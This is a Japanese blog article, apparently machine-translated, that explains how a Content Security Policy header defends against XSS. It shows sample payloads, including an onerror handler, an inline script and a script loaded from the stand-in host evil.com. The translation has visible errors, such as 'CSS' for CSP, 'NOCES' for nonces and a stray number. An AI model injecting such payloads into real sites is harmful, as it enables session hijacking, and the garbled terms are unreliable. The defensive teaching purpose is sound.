CSSによるXSSに対する防御


アプリケーションで悪意のあるスクリプトコードの実行を防ぐために、コンテンツセキュリティポリシー(CSP)を使用する方法を学びます。




TLDr :コンテンツセキュリティポリシー(CSP)は単純な防御として始まったが、すぐに複雑なセキュリティポリシーに進化した.この記事はXSS脆弱性に対抗するために効果的なCSP方針を構築する方法を調査します.具体的には、CSPに対するバイパスを強調するためにステップバイステップの例を使用して、現代のアプリケーションのための堅牢なCSP方針を構築するためにNOCES、ハッシュ、および'strict-dynamic'を使用する方法を検討します.

CSPとは


コンテンツセキュリティポリシー(CSP)の最初のバージョンは、2010年に実装され、an academic paper authored by people from Mozillaで議論した.どのように開発者がどのようにリソースをWebアプリケーションに読み込むことができるかをブラウザに伝えるために、セキュリティポリシーを定義できるかについて説明しました.
CSPの背後にある考えは大きな熱意に満たされたが、現代のアプリケーションにおけるリソースのロードを制御することは最初に考えたより少し複雑であることがわかる.それにもかかわらず、CSPは一定の開発中であり、今日はまだです.
現代のCSP方針の重要な責任は、XSS脆弱性に対する防御の第2の線として作用することです.事実上すべてのWebアプリケーションの歴史的な実績に基づいて、それはほとんどのアプリケーションは、いくつかの点でXSSで脆弱になることは確実です.CSP方針が攻撃者をその脆弱性を利用するのを止めることができるならば、どうですか?
それが我々がこの記事で調査するものです.我々は基本から始めて、次第により深くより深く、より最近のCSP機能に飛び込みます.

Before we get started, note that deploying CSP does not absolve you from the responsibility of following secure coding guidelines to avoid XSS vulnerabilities in the first place. CSP only offers a second line of defense in case something goes wrong.


飛び込みましょう!

スクリプト実行のブロック化


アプリケーションがXSS脆弱性を含む場合、ユーザーによって提供されたデータが実行可能コードとしてブラウザによって取得されます.例えば、悪意のあるユーザは自分の名前をphilippe<script>evilCode()</script>に変更することができます.アプリケーションの別のユーザーが悪意のあるユーザーのプロファイルを訪問すると、ブラウザは悪意のあるコードを見て実行します.これは、被害者のブラウザのアプリケーションの実行コンテキストに悪意のあるユーザーコントロールを与えます.
XSS脆弱性のこの短い要約が混乱しているならば、私はあなたが最初にこのin-depth article on XSSをチェックすることを勧めます.
この記事の残りのために、我々はアプリケーションが悪意のあるユーザーが利用できるXSS脆弱性を含むと仮定します.そのような脆弱性を利用するために、攻撃者は様々なペイロードを使用することができます.このコードスニペットには、いくつかの異なるオプションがあります.
<!-- Inline code -->
<img src="none.png" onerror="evilCode()">

<!-- Code block -->
<script>evilCode()</script>

<!-- Remote code file -->
<script src="https://evil.com/code.js"></script>
CSPはこれらの攻撃ベクトルの実行を防止することを目的とする.それを達成するために、CSPはスクリプトコードを実行できる制限を強制します.以下のスニペットは、最小限のポリシー設定を持つCSP応答ヘッダーを示します.
Content-Security-Policy: script-src 'self'
サーバーはHTMLページをブラウザに送信するレスポンスにこのヘッダを含んでいます.このポリシー設定では、ブラウザが独自の起源からスクリプトを実行できることをブラウザに伝えます.
具体的には、アプリケーションがhttps://example.com/appで実行されている場合、ブラウザはhttps://example.comから来るリモートJavaScriptコードを実行するだけです.他に何かがブロックされます.
私たちの最初の攻撃ベクトルは、以前の悪意のあるコードの実行を引き起こすためにインラインコードに頼りました.このコードはページに存在しますが、ブラウザにはこのコードが存在するかどうかはわかりません.それはhttps://example.comから読み込まれないので、実行されません.
同様に、インラインコードブロックの出所は不明であるので、実行しない.
最後に、リモートコードファイルをhttps://evil.comからロードする.https://evil.comはアプリケーションの起源242479142に対応しませんので、ブラウザはこのファイルを読み込むことを拒否します.
ご覧のように、CSPはすべての潜在的に怪しいJavaScriptコードの実行をブロックします.実際には、このCSPポリシーは、アプリケーションの原点からリモートで読み込まれていないすべてのJavaScriptコードの実行をブロックします.
これは、アプリケーションがインラインイベントハンドラ(https://example.comまたはonloadなど)に依存する場合、そのコードは実行されません.同様に、アプリケーションがインラインコードブロックを使用する場合、それらは実行されません.
🖥 このセットアップの実行例はthis Express demo applicationonclickエンドポイントによって提供されます.
驚くべきことに、そのようなCSP方針は多くのアプリケーションと激しく互換性がありません.今日でも、インラインコードブロックを使用してJavaScriptコードをアプリケーションに読み込みます.
CSPレベル2はこれらの非互換性に対処するためにハッシュとNOCESを紹介します.
Read more...